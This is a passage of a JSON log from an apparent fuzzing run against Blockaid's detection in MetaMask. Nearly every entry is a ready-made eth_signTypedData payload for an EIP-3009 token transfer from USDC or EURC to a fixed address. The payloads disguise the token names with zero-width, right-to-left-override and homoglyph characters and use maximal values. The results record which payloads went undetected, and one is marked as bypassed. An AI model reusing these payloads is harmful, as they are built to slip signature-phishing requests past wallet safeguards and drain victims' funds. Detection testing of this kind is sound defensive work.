"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR­C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1f324dFeF34aBcBc0fDf6bC02eB482970a18Ca443958764d4233943f618c9269\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-3", "timestamp": "2026-01-31T23:46:33.364Z", "technique": "EIP3009-combo-USDC-ideographic_space-zero-just_now-random-lowercase-v4", "category": "eip3009", "description": "USDC + ideographic_space + zero + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD　Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xd97a22555efb537aab0702b8e5822bacd6b472a8b5c52c6bf320186227137a63\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true, "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN12-COMBO-4", "timestamp": "2026-01-31T23:46:40.293Z", "technique": "EIP3009-combo-EURC-zwsp-very_large-standard-all_ones-checksum-v3", "category": "eip3009", "description": "EURC + zwsp + very_large + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR​C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN12-COMBO-5", "timestamp": "2026-01-31T23:46:47.206Z", "technique": "EIP3009-combo-EURC-rtl_override-very_large-year_2100-zero-mixed_case-v4", "category": "eip3009", "description": "EURC + rtl_override + very_large + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-6", "timestamp": "2026-01-31T23:46:53.740Z", "technique": "EIP3009-combo-USDC-long_256-numeric_small-year_2100-half_and_half-mixed_case-v4", "category": "eip3009", "description": "USDC + long_256 + numeric_small + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":999999999999,\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-7", "timestamp": "2026-01-31T23:47:00.283Z", "technique": "EIP3009-combo-USDC-combining_mark-unicode_digits-standard-alternating-mixed_case-v3", "category": "eip3009", "description": "USDC + combining_mark + unicode_digits + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD̀ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-8", "timestamp": "2026-01-31T23:47:06.810Z", "technique": "EIP3009-combo-USDC-combining_mark-round_100k-past_2020-mixed_case_hex-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + combining_mark + round_100k + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD̀ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xEfEeA466B7Da0546B4387aA183FdAa15A520753b415a08A7E69eD7D87eD6D1E0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-9", "timestamp": "2026-01-31T23:47:13.353Z", "technique": "EIP3009-combo-EURC-cyrillic_o-hex_max-past_2020-max-lowercase-v4", "category": "eip3009", "description": "EURC + cyrillic_o + hex_max + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN12-COMBO-10", "timestamp": "2026-01-31T23:47:20.308Z", "technique": "EIP3009-combo-USDC-softhyphen-trailing_zeros-max_uint-all_ones-lowercase-v4", "category": "eip3009", "description": "USDC + softhyphen + trailing_zeros + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD­ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN12-COMBO-11", "timestamp": "2026-01-31T23:47:27.251Z", "technique": "EIP3009-combo-EURC-escape-hex_short-far_future-max-checksum-v3", "category": "eip3009", "description": "EURC + escape + hex_short + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u001bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN12-COMBO-12", "timestamp": "2026-01-31T23:47:36.543Z", "technique": "EIP3009-combo-USDC-thin_space-hex_mixed_case-standard-half_and_half-lowercase-signTypedData", "category": "eip3009", "description": "USDC + thin_space + hex_mixed_case + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN12-COMBO-13", "timestamp": "2026-01-31T23:47:43.082Z", "technique": "EIP3009-combo-USDC-invisible_separator-trailing_zeros-past_2020-all_a-lowercase-v3", "category": "eip3009", "description": "USDC + invisible_separator + trailing_zeros + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD⁣ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN12-COMBO-14", "timestamp": "2026-01-31T23:47:50.131Z", "technique": "EIP3009-combo-USDC-carriage_return-trailing_zeros-numeric_ts-sequential-mixed_case-v3", "category": "eip3009", "description": "USDC + carriage_return + trailing_zeros + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\r Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c16733069\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-0", "timestamp": "2026-01-31T23:47:56.667Z", "technique": "EIP3009-combo-EURC-leading_space-hex_max-standard-zero-checksum-signTypedData", "category": "eip3009", "description": "EURC + leading_space + hex_max + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-1", "timestamp": "2026-01-31T23:48:03.211Z", "technique": "EIP3009-combo-EURC-carriage_return-hex_max-past_2020-all_ones-mixed_case-v3", "category": "eip3009", "description": "EURC + carriage_return + hex_max + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\rC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-2", "timestamp": "2026-01-31T23:48:09.741Z", "technique": "EIP3009-combo-USDC-bom-trailing_zeros-year_2100-max-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + bom + trailing_zeros + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000000000000000000000\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-3", "timestamp": "2026-01-31T23:48:16.287Z", "technique": "EIP3009-combo-EURC-word_joiner-unicode_digits-just_now-max-checksum-v3", "category": "eip3009", "description": "EURC + word_joiner + unicode_digits + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁠C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN13-COMBO-4", "timestamp": "2026-01-31T23:48:23.229Z", "technique": "EIP3009-combo-EURC-long_256-alternating-year_2100-half_and_half-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + long_256 + alternating + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-5", "timestamp": "2026-01-31T23:48:29.758Z", "technique": "EIP3009-combo-EURC-cyrillic_e-numeric_small-max_uint-random-mixed_case-v3", "category": "eip3009", "description": "EURC + cyrillic_e + numeric_small + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 